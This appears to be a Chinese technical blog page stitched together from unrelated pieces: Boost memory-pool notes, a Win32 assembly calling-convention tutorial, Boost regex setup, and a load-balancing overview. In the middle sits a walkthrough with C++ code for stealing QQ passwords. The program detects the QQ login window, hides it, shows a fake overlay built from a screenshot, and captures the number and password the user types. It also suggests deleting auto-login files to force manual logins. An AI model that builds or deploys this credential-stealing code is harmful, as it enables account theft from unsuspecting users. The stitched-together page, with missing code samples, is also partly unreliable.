Pool分配是一种分配内存方法，用于快速分配同样大小的内存块，
    尤其是反复分配/释放同样大小的内存块的情况。

1. pool

2. object_pool   

3. singleton_pool

4. pool_alloc

    基于singleton_pool实现，提供allocator（用于STL等）。

    Example:

    需要的话，必须自己显式地调用
    boost::singleton_pool<boost::pool_allocator_tag, sizeof(int)>::release_memory()
    把allocator分配的内存返回系统。

实现原理

    pool每次向系统申请一大块内存，然后分成同样大小的多个小块，
    形成链表连接起来。每次分配的时候，从链表中取出头上一块，提
    供给用户。链表为空的时候，pool继续向系统申请大块内存。
    一个小问题：在pool的实现中，在申请到大块内存后，马上把它分
    成小块形成链表。这个过程开销比较大。即你需要分配一小块内存
    时，却需要生成一个大的链表。用如下代码测试:

    可以发现，第一遍花的时间明显多于后面的。

    而且在pool的使用过程中如果不是恰好把链表中所有的小块都用上
    的话，在链表中最后的一些小块会始终用不上。把这些小块加入链
    表是多余的。虽然这个开销可能很小:)

搜狗输入法存在bug， 我也不知道，怎么突然间输入p，
以后切换到google输入法的界面的，还不退出，
切换到别的输入也是不退出，但是能窗体能移动，呵呵，搜狗输入法还要继续努力

作者：罗云彬·发布日期：2000-8-8·阅读次数：11124

---

   在 Win32汇编中，我们经常要和 Api 打交道，另外也会常常使用自己编制的类似于 Api 的带参数的子程序，本文要讲述的是在子程序调用的过程中进行参数传递的概念和分析。一般在程序中，参数的传递是通过堆栈进行的，也就是说，调用者把要传递 给子程序（或者被调用者）的参数压入堆栈，子程序在堆栈取出相应的值再使用，比如说，如果你要调用 SubRouting(Var1,Var2,Var3)，编译后的最终代码可能是

   push Var3
   push Var2
   push Var1
   call SubRouting
   add esp,12

   也就是说，调用者首先把参数压入堆栈，然后调用子程序，在完成后，由于堆栈中先前压入的数不再有用，调用者或者被调用者必须有一方把堆栈指针修正到 调用前的状态。参数是最右边的先入堆栈还是最左边的先入堆栈、还有由调用者还是被调用者来修正堆栈都必须有个约定，不然就会产生不正确的结果，这就是我在 前面使用“可能”这两个字的原因：各种语言中调用子程序的约定是不同的，它们的不同点见下表：

	C	SysCall	StdCall	Basic	Fortran	Pascal
参数从左到右				是	是	是
参数从右到左	是	是	是
调用者清除堆栈	是
允许使用:VARARG	是	是	是

   VARARG 表示参数的个数可以是不确定的，有一个例子就是 C 中的 printf 语句，在上表中，StdCall 的定义有个要说明的地方，就是如果 StdCall 使用 :VARARG 时，是由调用者清除堆栈的，而在没有:VARARG时是由被调用者清除堆栈的。在 Win32 汇编中，约定使用 StdCall 方式，所以我们要在程序开始的时候使用 .model stdcall 语句。也就是说，在 API 或子程序中，最右边的参数先入堆栈，然后子程序在返回的时候负责校正堆栈，举例说明，如果我们要调用 MessageBox 这个 API，因为它的定义是 MessageBox(hWnd,lpText,lpCaption,UType) 所以在程序中要这样使用：

   push MB_OK
   push offset szCaption
   push offset szText
   push hWnd
   call MessageBox
   ...

   我们不必在 API 返回的时候加上一句 add sp,4*4 来修正堆栈，因为这已经由 MessageBox 这个子程序做了。在 Windows API 中，唯一一个特殊的 API 是 wsprintf，这个 API 是 C 约定的，它的定义是 wsprintf(lpOut,lpFormat,Var1,Var2...)，所以在使用时就要：

   push 1111
   push 2222
   push 3333
   push offset szFormat
   push offset szOut
   call wsprintf
   add esp,4*5


   下面要讲的是子程序如何存取参数，因为缺省对堆栈操作的寄存器有 ESP 和 EBP，而 ESP是堆栈指针，无法暂借使用，所以一般使用 EBP 来存取堆栈，假定在一个调用中有两个参数，而且在 push 第一个参数前的堆栈指针 ESP 为 X，那么压入两个参数后的 ESP 为 X-8，程序开始执行 call 指令，call 指令把返回地址压入堆栈，这时候 ESP 为 X-C，这时已经在子程序中了，我们可以开始使用 EBP 来存取参数了，但为了在返回时恢复 EBP 的值，我们还是再需要一句 push ebp 来先保存 EBP 的值，这时 ESP 为 X-10，再执行一句 mov ebp,esp，根据上图可以看出，实际上这时候 [ebp + 8] 就是参数1，[ebp + c]就是参数2。另外，局部变量也是定义在堆栈中的，它们的位置一般放在 push ebp 保存的 EBP 数值的后面，局部变量1、2对应的地址分别是 [ebp-4]、[ebp-8],下面是一个典型的子程序，可以完成第一个参数减去第二个参数，它的定义是：

   MyProc proto Var1,Var2 ；有两个参数
   local lVar1,lVar2 ；有两个局部变量

   注意，这里的两个 local 变量实际上没有被用到，只是为了演示用，具体实现的代码是：

MyProc proc

   push ebp
   mov ebp,esp
   sub esp,8
   mov eax,dword ptr [ebp + 8]
   sub eax,dword ptr [ebp + c]
   add esp,8
   pop ebp
   ret 8

MyProc endp

   现在对这个子程序分析一下，push ebp/mov ebp,esp 是例行的保存和设置 EBP 的代码，sub esp,8 在堆栈中留出两个局部变量的空间，mov /add 语句完成相加，add esp,8 修正两个局部变量使用的堆栈，ret 8 修正两个参数使用的堆栈，相当于 ret / add esp,8 两句代码的效果。可以看出，这是一个标准的 Stdcall 约定的子程序，使用时最后一个参数先入堆栈，返回时由子程序进行堆栈修正。当然，这个子程序为了演示执行过程，使用了手工保存 ebp 并设置局部变量的方法，实际上，386 处理器有两条专用的指令是完成这个功能用的，那就是 Enter 和 Leave，Enter 语句的作用就是 push ebp/mov ebp,esp/sub esp,xxx，这个 xxx 就是 Enter 的，Leave 则完成 add esp,xxx/pop ebp 的功能，所以上面的程序可以改成：

MyPorc proc

   enter 8,0

   mov eax,dword ptr [ebp + 8]
   sub eax,dword ptr [ebp + c]

   leave
   ret 8

MyProc endp

   好了，说到这儿，参数传递的原理也应该将清楚了，还要最后说的是，在使用 Masm32 编 Win32 汇编程序的时候，我们并不需要记住 [ebp + xx] 等麻烦的地址，或自己计算局部变量需要预留的堆栈空间，还有在 ret 时计算要加上的数值，Masm32 的宏指令都已经把这些做好了，如在 Masm32 中，上面的程序只要写成为：

MyProc proc Var1,Var2
   local lVar1,lVar2

   mov eax,Var1
   sub eax,Var2
   ret

MyProc endp

   编译器会自动的在 mov eax,Var1 前面插上一句 Enter 语句，它的参数会根据 local 定义的局部变量的多少自动指定，在 ret 前会自动加上一句 Leave，同样，编译器会根据参数的多少把 ret 替换成 ret xxx，把 mov eax,Var1 换成 mov eax,dword ptr [ebp + 8] 等等。
   最后是使用 Masm32 的 invoke 宏指令，在前面可以看到，调用带参数的子程序时，我们需要用 push 把参数压入堆栈，如果不小心把参数个数搞错了，就会使堆栈不平衡，从而使程序从堆栈中取出错误的返回地址引起不可预料的后果，所以有必要有一条语句来完成 自动检验的任务，invoke 就是这样的语句，实际上，它是自动 push 所有参数，检测参数个数、类型是否正确，并使用 call 来调用的一个宏指令，对于上面的 push/push/call MyProc 的指令，可以用一条指令完成就是：

invoke MyProc,Var1,Var2

当然，当程序编译好以后你去看机器码会发现它被正确地换成了同样的 push/push/call 指令。但是，在使用 invoke 之前，为了让它进行正确的参数检验，你需要对函数进行申明，就象在 C 中一样，申明的语句是：

MyProc proto ：DWORD，：DWORD

语句中 proto 是关键字，表示申明，：DWORD 表示参数的类型是 double word 类型的，有几个就表示有几个参数，在 Win32 中参数都是 double word 型的，申明语句要写在 invoke 之前，所以我们一般把它包括在 include 文件中，好了，综合一下，在 Masm32 中使用一个带参数的子程序或者 Api ，我们只需用：

   ...
   MyProc proto :dword,:dword
   ...
   .data
   x dd ?
   y dd ?
   dwResult dd ?
   ...
   mov x,1
   mov y,2
   invoke MyProc x,y
   mov dwResult,eax
   ...

就行了，如何，是不是很简单啊？不过我可苦了，这篇文章整整花了我一个晚上 ... ##%$^&(*&^(*&(^&(*

boost库安装比较麻烦,需要自己编译源文件,我整理了一下,如果仅仅需要做正则表达式,按下面的代码敲就行了：

cmd
　　VCvars32.bat
　　cd D:\boost_1_32_0\libs\regex\build
　　d:
　　nmake -fvc6.mak
　　nmake -fvc6.mak install

　　注意,别看下载下 来的数据包没有多大,解压缩之后达到了100多M,编译完之后为109M,占用131M,所以安装时一定注意空出足够的空间,敲入nmake -fvc6.mak后等待的时间比较长,屏幕上还会出现一大堆英语,可以不做考虑.按照步骤往下敲就行了.压缩包内文档很详细,参照文档继续就可以了.

　　在VC6中集成:Tools->Options->Directories->Include files

　　加入:D:\boost_1_32_0

　　编写一个源程序测试一下:

#include "stdafx.h" #include <cstdlib> #include <stdlib.h> #include <boost/regex.hpp> #include <string> #include <iostream> using namespace std; using namespace boost; regex expression("^select ([a-zA-Z]*) from ([a-zA-Z]*)"); int main(int argc, char* argv[]) { 　std::string in; 　cmatch what; 　cout << "enter test string" << endl; 　getline(cin,in); 　if(regex_match(in.c_str(), what, expression)) 　{ 　　for(int i=0;i<what.size();i++) 　　　cout<<"str :"<<what[i].str()<<endl; 　} 　else 　{ 　　cout<<"Error Input"<<endl; 　} 　return 0; }

　　输入: select name from table
　　输出: str:select name from table
　　　　　str:name
　　　　　str:table

近日无所事事，看到现在的QQ防盗技术越来越好，一般的钩子已经无法获取用户输入 的密码了，我也试图用发送WM_GETTEXT消息以及GetWindowText来获取密码文本框的数据，发现是不可行的。左思右想，既然程序本身的防 范很 严密。那么我们就从用户这边来下手吧。毕竟很多用户对电脑不是很了解的，各位看官可不能扔丑鸡蛋啊。
网吧里一般用户点击QQ快捷方式后就输入号码和密码，然后再登陆，这样我们就可以进行欺骗了。我们的程序运行在后台不停的检测当前激活的窗口是不是QQ登 录的窗口，如果是的话就先取得QQ登录窗口中的号码、密码文本框和登陆按钮的窗口位置。这样是为了在我们伪造的窗口上创建这些窗口时不被察觉，获得这些信 息后，我们先截取整个屏幕，然后把真正的QQ登录窗口隐藏起来，最后创建我们自己的窗口，设置为最前占满整个桌面，然后再背景上贴上刚才抓取的图片。最后 在图片QQ登陆的地方创建好QQ号码和密码输入窗口，在检测到用户单击在QQ登陆按钮时获取用户输入的字符，把这些字符发送到真正的QQ窗口里，最后模拟 单击QQ登陆按钮完成QQ的正常登陆。

　　然而家庭用户一般是选了自动登陆的方式，所以没有QQ登录的窗口，那我们就要动一些手脚 了。了解QQ的地球人都知道，QQ文件夹下有这两个文件：AutoLogin.dat和LoginUinList.dat，它们的功能：这两个文件是QQ 的号码登录数据文件，AutoLogin.dat 保存的是自动登录号码的数据文件，LoginUinList.dat则保存的是QQ登录窗口中的“QQ号码”下拉框中显示的所有号码记录。所以我们要删除 QQ登录数据，直接删除AutoLogin.dat和LoginUinList.dat两个文件就行了。主要代码分析如下：

//根据进程ID得到进程名称 
BOOL processIdToName(LPTSTR lpszProcessName, DWORD PID) 
{ 
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); 
    PROCESSENTRY32 pe; 
    pe.dwSize = sizeof(PROCESSENTRY32); 
    if (!Process32First(hSnapshot, &pe)) { 
        return FALSE; 
    } 
    while (Process32Next(hSnapshot, &pe)) { 
        if (pe.th32ProcessID == PID) { 
            strcpy(lpszProcessName, pe.szExeFile); 
   return true; 
        } 
    } 
  
    return FALSE; 
}    
    
//查找QQ登录窗口 
void QQFind() 
{ 
 HWND  hWnd1 = NULL, qqID_hWnd = NULL, qqPass_hWnd = NULL; 
 HWND ButtonLogin = NULL, ButtonCancel = NULL; 
 char sTitle[255]; 
 CString ss; 
 DWORD QQPID; 
 int LoginID; 
 BOOL find = FALSE; 
 do 
 {  
  //获得当前激活窗口的句柄 
  g_hWnd = GetForegroundWindow(); 
  GetWindowThreadProcessId(g_hWnd, &QQPID); 
  //根据PID获得进程名 
  processIdToName(sTitle, QQPID); 
  ss = sTitle; 
  ss.MakeLower(); 
  //判断是否QQ 
  if(ss != "qq.exe") 
  { 
   Sleep(100); 
   continue; 
  } 
   
  //获得标题文字，判断是否登陆对话框 
  SendMessage(g_hWnd,WM_GETTEXT,255,(LPARAM)sTitle); 
  ss = sTitle; 
  int n = ss.Find("QQ", 0); 
  int m = ss.Find("登录", 0); 
  if(n >= 0 || m >= 0) 
  { 
   //查找QQ登陆按钮的句柄 
   ButtonLogin = FindWindowEx(g_hWnd, ButtonLogin, "Button", "登录");  
   LoginID = GetDlgCtrlID(ButtonLogin); 
   ButtonLogin = FindWindowEx(g_hWnd, ButtonLogin, "Button", "登录");  
   LoginID = GetDlgCtrlID(ButtonLogin); 
   //获得QQ登陆按钮窗口位置 
   GetWindowRect(ButtonLogin, &g_qqLogin); 

   //查找QQ取消按钮的句柄 
   ButtonCancel = FindWindowEx(g_hWnd, NULL, "Button", "取消"); 
   //获得QQ取消按钮窗口位置 
   GetWindowRect(ButtonCancel, &g_qqCancel); 

   //查找QQ密码输入框的句柄 
   hWnd1 = FindWindowEx(g_hWnd, NULL, "#32770", NULL);  
   if(hWnd1 != NULL)  
   { 
    qqPass_hWnd = FindWindowEx(hWnd1, qqPass_hWnd, "Edit", NULL); 
    //获得QQ密码输入框窗口位置 
    GetWindowRect(qqPass_hWnd, &g_qqPassRt);      
   } 
    
   //查找QQ号码输入框的句柄 
   hWnd1 = FindWindowEx(g_hWnd, NULL, "ComboBox", NULL); 
   if(hWnd1 != NULL)  
   { 
    qqID_hWnd = FindWindowEx(hWnd1, qqID_hWnd, "Edit", NULL); 
    //获得QQ号码输入框窗口位置 
    GetWindowRect(qqID_hWnd, &g_qqIDRt); 
    //获得当前默认QQ号码 
    SendMessage(qqID_hWnd,WM_GETTEXT, 255,(LPARAM)qqid); 
   } 
    
   //等待QQ窗口完全出现后抓取整个屏幕 
   Sleep(100); 
   g_DlgRt.left = 0; 
   g_DlgRt.top = 0; 
   g_DlgRt.right = m_xScreen; 
   g_DlgRt.bottom = m_yScreen;    
   g_PBitmap = CopyScreenToBitmap(&g_DlgRt); 
    
   //设置QQ窗口为不可见 
   ShowWindow(g_hWnd, SW_HIDE); 
    
   //弹出我们创建的伪造对话框 
   HINSTANCE hInstance = GetModuleHandle(NULL); 
   DialogBoxParam(hInstance, (LPCTSTR)IDD_WIN847, 0, (DLGPROC)win847, 0); 
    
   //设置QQ窗口为可见 
   ShowWindow(g_hWnd, SW_SHOW); 

   //把QQ号码和密码填到真正的QQ登录窗口上，并模拟单击登陆按钮 
   SendMessage(qqID_hWnd, WM_SETTEXT, 0, (LPARAM)qqid); 
   SendMessage(qqPass_hWnd, WM_SETTEXT, 0, (LPARAM)qqpass); 
   SendMessage(ButtonLogin, BM_CLICK, 0, 0); 

   DeleteObject(g_pBitmap); 
   //设置标志退出循环 
   find = true; 
  } 
   
 } 

 while(find == FALSE); 
}

截图如下：


图一 伪装的登陆界面

　　好了，说到这儿也差不多啦，见笑见笑了^_^，最后奉劝一句，请勿用于非法。

nternet的规模每一百天就会增长一倍，客户希望获得7天24小时的不间断可用性及较快的系统反应时间，而不愿屡次看到某个站点“Server Too Busy”及频繁的系统故障。

　 　网络的各个核心部分随着业务量的提高、访问量和数据流量的快速增长，其处理能力和计算强度也相应增大，使得单一设备根本无法承担。在此情况下，如果扔掉 现有设备去做大量的硬件升级，这样将造成现有资源的浪费，而且如果再面临下一次业务量的提升，这又将导致再一次硬件升级的高额成本投入，甚至性能再卓越的 设备也不能满足当前业务量的需求。于是，负载均衡机制应运而生。

　　负载均衡（Load Balance）建立在现有网络结构之上，它提供了一种廉价有效透明的方法扩展网络设备和服务器的带宽、增加吞吐量、加强网络数据处理能力、提高网络的灵活性和可用性。

　　负载均衡有两方面的含义：首先，大量的并发访问或数据流量分担到多台节点设备上分别处理，减少用户等待响应的时间；其次，单个重负载的运算分担到多台节点设备上做并行处理，每个节点设备处理结束后，将结果汇总，返回给用户，系统处理能力得到大幅度提高。

　　本文所要介绍的负载均衡技术主要是指在均衡服务器群中所有服务器和应用程序之间流量负载的应用，目前负载均衡技术大多数是用于提高诸如在Web服务器、FTP服务器和其它关键任务服务器上的Internet服务器程序的可用性和可伸缩性。

负载均衡技术分类

　　目前有许多不同的负载均衡技术用以满足不同的应用需求，下面从负载均衡所采用的设备对象、应用的网络层次（指OSI参考模型）及应用的地理结构等来分类。

软/硬件负载均衡
　 　软件负载均衡解决方案是指在一台或多台服务器相应的操作系统上安装一个或多个附加软件来实现负载均衡，如DNS Load Balance，CheckPoint Firewall-1 ConnectControl等，它的优点是基于特定环境，配置简单，使用灵活，成本低廉，可以满足一般的负载均衡需求。

　　软件解决方案 缺点也较多，因为每台服务器上安装额外的软件运行会消耗系统不定量的资源，越是功能强大的模块，消耗得越多，所以当连接请求特别大的时候，软件本身会成为 服务器工作成败的一个关键；软件可扩展性并不是很好，受到操作系统的限制；由于操作系统本身的Bug，往往会引起安全问题。

　　硬件负载均衡解决方案是直接在服务器和外部网络间安装负载均衡设备，这种设备我们通常称之为负载均衡器，由于专门的设备完成专门的任务，独立于操作系统，整体性能得到大量提高，加上多样化的负载均衡策略，智能化的流量管理，可达到最佳的负载均衡需求。

　　负载均衡器有多种多样的形式，除了作为独立意义上的负载均衡器外，有些负载均衡器集成在交换设备中，置于服务器与Internet链接之间，有些则以两块网络适配器将这一功能集成到PC中，一块连接到Internet上，一块连接到后端服务器群的内部网络上。

　　一般而言，硬件负载均衡在功能、性能上优于软件方式，不过成本昂贵。

本地/全局负载均衡
　 　负载均衡从其应用的地理结构上分为本地负载均衡(Local Load Balance)和全局负载均衡(Global Load Balance，也叫地域负载均衡)，本地负载均衡是指对本地的服务器群做负载均衡，全局负载均衡是指对分别放置在不同的地理位置、有不同网络结构的服务 器群间作负载均衡。

　　本地负载均衡能有效地解决数据流量过大、网络负荷过重的问题，并且不需花费昂贵开支购置性能卓越的服务器，充分利用 现有设备，避免服务器单点故障造成数据流量的损失。其有灵活多样的均衡策略把数据流量合理地分配给服务器群内的服务器共同负担。即使是再给现有服务器扩充 升级，也只是简单地增加一个新的服务器到服务群中，而不需改变现有网络结构、停止现有的服务。

　　全局负载均衡主要用于在一个多区域拥有自己服务器的站点，为了使全球用户只以一个IP地址或域名就能访问到离自己最近的服务器，从而获得最快的访问速度，也可用于子公司分散站点分布广的大公司通过Intranet（企业内部互联网）来达到资源统一合理分配的目的。

　　全局负载均衡有以下的特点：

实现地理位置无关性，能够远距离为用户提供完全的透明服务。
除了能避免服务器、数据中心等的单点失效，也能避免由于ISP专线故障引起的单点失效。
解决网络拥塞问题，提高服务器响应速度，服务就近提供，达到更好的访问质量。
网络层次上的负载均衡
　　针对网络上负载过重的不同瓶颈所在，从网络的不同层次入手，我们可以采用相应的负载均衡技术来解决现有问题。

　　随着带宽增加，数据流量不断增大，网络核心部分的数据接口将面临瓶颈问题，原有的单一线路将很难满足需求，而且线路的升级又过于昂贵甚至难以实现，这时就可以考虑采用链路聚合（Trunking）技术。

　　链路聚合技术（第二层负载均衡）将多条物理链路当作一条单一的聚合逻辑链路使用，网络数据流量由聚合逻辑链路中所有物理链路共同承担，由此在逻辑上增大了链路的容量，使其能满足带宽增加的需求。

　 　现代负载均衡技术通常操作于网络的第四层或第七层。第四层负载均衡将一个Internet上合法注册的IP地址映射为多个内部服务器的IP地址，对每次 TCP连接请求动态使用其中一个内部IP地址，达到负载均衡的目的。在第四层交换机中，此种均衡技术得到广泛的应用，一个目标地址是服务器群VIP（虚拟 IP，Virtual IP address）连接请求的数据包流经交换机，交换机根据源端和目的IP地址、TCP或UDP端口号和一定的负载均衡策略，在服务器IP和VIP间进行映 射，选取服务器群中最好的服务器来处理连接请求。

　　第七层负载均衡控制应用层服务的内容，提供了一种对访问流量的高层控制方式，适合对HTTP服务器群的应用。第七层负载均衡技术通过检查流经的HTTP报头，根据报头内的信息来执行负载均衡任务。

　　第七层负载均衡优点表现在如下几个方面：

通过对HTTP报头的检查，可以检测出HTTP400、500和600系列的错误信息，因而能透明地将连接请求重新定向到另一台服务器，避免应用层故障。
可根据流经的数据类型（如判断数据包是图像文件、压缩文件或多媒体文件格式等），把数据流量引向相应内容的服务器来处理，增加系统性能。
能根据连接请求的类型，如是普通文本、图象等静态文档请求，还是asp、cgi等的动态文档请求，把相应的请求引向相应的服务器来处理，提高系统的性能及安全性。
　　第七层负载均衡受到其所支持的协议限制（一般只有HTTP），这样就限制了它应用的广泛性，并且检查HTTP报头会占用大量的系统资源，势必会影响到系统的性能，在大量连接请求的情况下，负载均衡设备自身容易成为网络整体性能的瓶颈。

负载均衡策略

　 　在实际应用中，我们可能不想仅仅是把客户端的服务请求平均地分配给内部服务器，而不管服务器是否宕机。而是想使Pentium III服务器比Pentium II能接受更多的服务请求，一台处理服务请求较少的服务器能分配到更多的服务请求，出现故障的服务器将不再接受服务请求直至故障恢复等等。

　　选择合适的负载均衡策略，使多个设备能很好的共同完成任务，消除或避免现有网络负载分布不均、数据流量拥挤反应时间长的瓶颈。在各负载均衡方式中，针对不同的应用需求，在OSI参考模型的第二、三、四、七层的负载均衡都有相应的负载均衡策略。

　　负载均衡策略的优劣及其实现的难易程度有两个关键因素：一、负载均衡算法，二、对网络系统状况的检测方式和能力。

　　考虑到服务请求的不同类型、服务器的不同处理能力以及随机选择造成的负载分配不均匀等问题，为了更加合理的把负载分配给内部的多个服务器，就需要应用相应的能够正确反映各个服务器处理能力及网络状态的负载均衡算法：

轮循均衡（Round Robin）：每一次来自网络的请求轮流分配给内部中的服务器，从1至N然后重新开始。此种均衡算法适合于服务器组中的所有服务器都有相同的软硬件配置并且平均服务请求相对均衡的情况。

权 重轮循均衡（Weighted Round Robin）：根据服务器的不同处理能力，给每个服务器分配不同的权值，使其能够接受相应权值数的服务请求。例如：服务器A的权值被设计成1，B的权值是 3，C的权值是6，则服务器A、B、C将分别接受到10%、30％、60％的服务请求。此种均衡算法能确保高性能的服务器得到更多的使用率，避免低性能的 服务器负载过重。

随机均衡（Random）：把来自网络的请求随机分配给内部中的多个服务器。

权重随机均衡（Weighted Random）：此种均衡算法类似于权重轮循算法，不过在处理请求分担时是个随机选择的过程。

响 应速度均衡（Response Time）：负载均衡设备对内部各服务器发出一个探测请求（例如Ping），然后根据内部中各服务器对探测请求的最快响应时间来决定哪一台服务器来响应客 户端的服务请求。此种均衡算法能较好的反映服务器的当前运行状态，但这最快响应时间仅仅指的是负载均衡设备与服务器间的最快响应时间，而不是客户端与服务 器间的最快响应时间。

最少连接数均衡（Least Connection）：客户端的每一次请求服务在服务器停留的时间可能会有较大的差异，随着工作时间加长，如果采用简单的轮循或随机均衡算法，每一台服 务器上的连接进程可能会产生极大的不同，并没有达到真正的负载均衡。最少连接数均衡算法对内部中需负载的每一台服务器都有一个数据记录，记录当前该服务器 正在处理的连接数量，当有新的服务连接请求时，将把当前请求分配给连接数最少的服务器，使均衡更加符合实际情况，负载更加均衡。此种均衡算法适合长时处理 的请求服务，如FTP。

处理能力均衡：此种均衡算法将把服务请求分配给内部中处理负荷（根据服务器CPU型号、CPU数量、内存大 小及当前连接数等换算而成）最轻的服务器，由于考虑到了内部服务器的处理能力及当前网络运行状况，所以此种均衡算法相对来说更加精确，尤其适合运用到第七 层（应用层）负载均衡的情况下。

DNS响应均衡（Flash DNS）：在Internet上，无论是HTTP、FTP或是其它的服务请求，客户端一般都是通过域名解析来找到服务器确切的IP地址的。在此均衡算法 下，分处在不同地理位置的负载均衡设备收到同一个客户端的域名解析请求，并在同一时间内把此域名解析成各自相对应服务器的IP地址（即与此负载均衡设备在 同一位地理位置的服务器的IP地址）并返回给客户端，则客户端将以最先收到的域名解析IP地址来继续请求服务，而忽略其它的IP地址响应。在种均衡策略适 合应用在全局负载均衡的情况下，对本地负载均衡是没有意义的。

尽管有多种的负载均衡算法可以较好的把数据流量分配给服务器去负载，但如 果负载均衡策略没有对网络系统状况的检测方式和能力，一旦在某台服务器或某段负载均衡设备与服务器网络间出现故障的情况下，负载均衡设备依然把一部分数据 流量引向那台服务器，这势必造成大量的服务请求被丢失，达不到不间断可用性的要求。所以良好的负载均衡策略应有对网络故障、服务器系统故障、应用服务故障 的检测方式和能力：

Ping侦测：通过ping的方式检测服务器及网络系统状况，此种方式简单快速，但只能大致检测出网络及服务器上的操作系统是否正常，对服务器上的应用服务检测就无能为力了。

TCP Open侦测：每个服务都会开放某个通过TCP连接，检测服务器上某个TCP端口（如Telnet的23口，HTTP的80口等）是否开放来判断服务是否正常。

HTTP URL侦测：比如向HTTP服务器发出一个对main.html文件的访问请求，如果收到错误信息，则认为服务器出现故障。
　 　负载均衡策略的优劣除受上面所讲的两个因素影响外，在有些应用情况下，我们需要将来自同一客户端的所有请求都分配给同一台服务器去负担，例如服务器将客 户端注册、购物等服务请求信息保存的本地数据库的情况下，把客户端的子请求分配给同一台服务器来处理就显的至关重要了。有两种方式可以解决此问题，一是根 据IP地址把来自同一客户端的多次请求分配给同一台服务器处理，客户端IP地址与服务器的对应信息是保存在负载均衡设备上的；二是在客户端浏览器 cookie内做独一无二的标识来把多次请求分配给同一台服务器处理，适合通过代理服务器上网的客户端。

　　还有一种路径外返回模式 （Out of Path Return），当客户端连接请求发送给负载均衡设备的时候，中心负载均衡设备将请求引向某个服务器，服务器的回应请求不再返回给中心负载均衡设备，即绕 过流量分配器，直接返回给客户端，因此中心负载均衡设备只负责接受并转发请求，其网络负担就减少了很多，并且给客户端提供了更快的响应时间。此种模式一般 用于HTTP服务器群，在各服务器上要安装一块虚拟网络适配器，并将其IP地址设为服务器群的VIP，这样才能在服务器直接回应客户端请求时顺利的达成三 次握手。



负载均衡实施要素

　　负载均衡方案应是在网站建设初期就应考虑的问题，不过有时随着访问流量 的爆炸性增长，超出决策者的意料，这也就成为不得不面对的问题。当我们在引入某种负载均衡方案乃至具体实施时，像其他的许多方案一样，首先是确定当前及将 来的应用需求，然后在代价与收效之间做出权衡。

　　针对当前及将来的应用需求，分析网络瓶颈的不同所在，我们就需要确立是采用哪一类的负载均衡技术，采用什么样的均衡策略，在可用性、兼容性、安全性等等方面要满足多大的需求，如此等等。

　　不管负载均衡方案是采用花费较少的软件方式，还是购买代价高昂在性能功能上更强的第四层交换机、负载均衡器等硬件方式来实现，亦或其他种类不同的均衡技术，下面这几项都是我们在引入均衡方案时可能要考虑的问题：

性 能：性能是我们在引入均衡方案时需要重点考虑的问题，但也是一个最难把握的问题。衡量性能时可将每秒钟通过网络的数据包数目做为一个参数，另一个参数是均 衡方案中服务器群所能处理的最大并发连接数目，但是，假设一个均衡系统能处理百万计的并发连接数，可是却只能以每秒2个包的速率转发，这显然是没有任何作 用的。 性能的优劣与负载均衡设备的处理能力、采用的均衡策略息息相关，并且有两点需要注意：一、均衡方案对服务器群整体的性能，这是响应客户端连接请求速度的关 键；二、负载均衡设备自身的性能，避免有大量连接请求时自身性能不足而成为服务瓶颈。 有时我们也可以考虑采用混合型负载均衡策略来提升服务器群的总体性能，如DNS负载均衡与NAT负载均衡相结合。另外，针对有大量静态文档请求的站点，也 可以考虑采用高速缓存技术，相对来说更节省费用，更能提高响应性能；对有大量ssl/xml内容传输的站点，更应考虑采用ssl/xml加速技术。


可 扩展性：IT技术日新月异，一年以前最新的产品，现在或许已是网络中性能最低的产品；业务量的急速上升，一年前的网络，现在需要新一轮的扩展。合适的均衡 解决方案应能满足这些需求，能均衡不同操作系统和硬件平台之间的负载，能均衡HTTP、邮件、新闻、代理、数据库、防火墙和 Cache等不同服务器的负载，并且能以对客户端完全透明的方式动态增加或删除某些资源。


灵活性：均衡解决方案应能灵活地提供不同的应用需求，满足应用需求的不断变化。在不同的服务器群有不同的应用需求时，应有多样的均衡策略提供更广泛的选择。


可 靠性：在对服务质量要求较高的站点，负载均衡解决方案应能为服务器群提供完全的容错性和高可用性。但在负载均衡设备自身出现故障时，应该有良好的冗余解决 方案，提高可靠性。使用冗余时，处于同一个冗余单元的多个负载均衡设备必须具有有效的方式以便互相进行监控，保护系统尽可能地避免遭受到重大故障的损失。


易管理性：不管是通过软件还是硬件方式的均衡解决方案，我们都希望它有灵活、直观和安全的管理方式，这样便于安装、配置、维护和 监控，提高工作效率，避免差错。在硬件负载均衡设备上，目前主要有三种管理方式可供选择：一、命令行接口（CLI：Command Line Interface），可通过超级终端连接负载均衡设备串行接口来管理，也能telnet远程登录管理，在初始化配置时，往往要用到前者；二、图形用户接 口（GUI：Graphical User Interfaces），有基于普通web页的管理，也有通过Java Applet 进行安全管理，一般都需要管理端安装有某个版本的浏览器；三、SNMP（Simple Network Management Protocol，简单网络管理协议）支持，通过第三方网络管理软件对符合SNMP标准的设备进行管理。
负载均衡配置实例

DNS负载均衡
　 　DNS负载均衡技术是在DNS服务器中为同一个主机名配置多个IP地址，在应答DNS查询时，DNS服务器对每个查询将以DNS文件中主机记录的IP地 址按顺序返回不同的解析结果，将客户端的访问引导到不同的机器上去，使得不同的客户端访问不同的服务器，从而达到负载均衡的目的。

　　DNS负载均衡的优点是经济简单易行，并且服务器可以位于internet上任意的位置。但它也存在不少缺点：

为了使本DNS服务器和其他DNS服务器及时交互，保证DNS数据及时更新，使地址能随机分配，一般都要将DNS的刷新时间设置的较小，但太小将会使DNS流量大增造成额外的网络问题。


一旦某个服务器出现故障，即使及时修改了DNS设置，还是要等待足够的时间（刷新时间）才能发挥作用，在此期间，保存了故障服务器地址的客户计算机将不能正常访问服务器。


DNS负载均衡采用的是简单的轮循负载算法，不能区分服务器的差异，不能反映服务器的当前运行状态，不能做到为性能较好的服务器多分配请求，甚至会出现客户请求集中在某一台服务器上的情况。


要给每台服务器分配一个internet上的IP地址，这势必会占用过多的IP地址。
　 　判断一个站点是否采用了DNS负载均衡的最简单方式就是连续的ping这个域名，如果多次解析返回的IP地址不相同的话，那么这个站点就很可能采用的就 是较为普遍的DNS负载均衡。但也不一定，因为如果采用的是DNS响应均衡，多次解析返回的IP地址也可能会不相同。不妨试试Ping一下 www.yesky.com，www.sohu.com，www.yahoo.com

　　现假设有三台服务器来应对www.test.com的请求。在采用BIND 8.x DNS服务器的unix系统上实现起来比较简单，只需在该域的数据记录中添加类似下面的结果：

　　www1 IN A 192.1.1.1
　　www2 IN A 192.1.1.2
　　www3 IN A 192.1.1.3
　　www IN CNAME www1
　　www IN CNAME www2
　　www IN CNAME www3

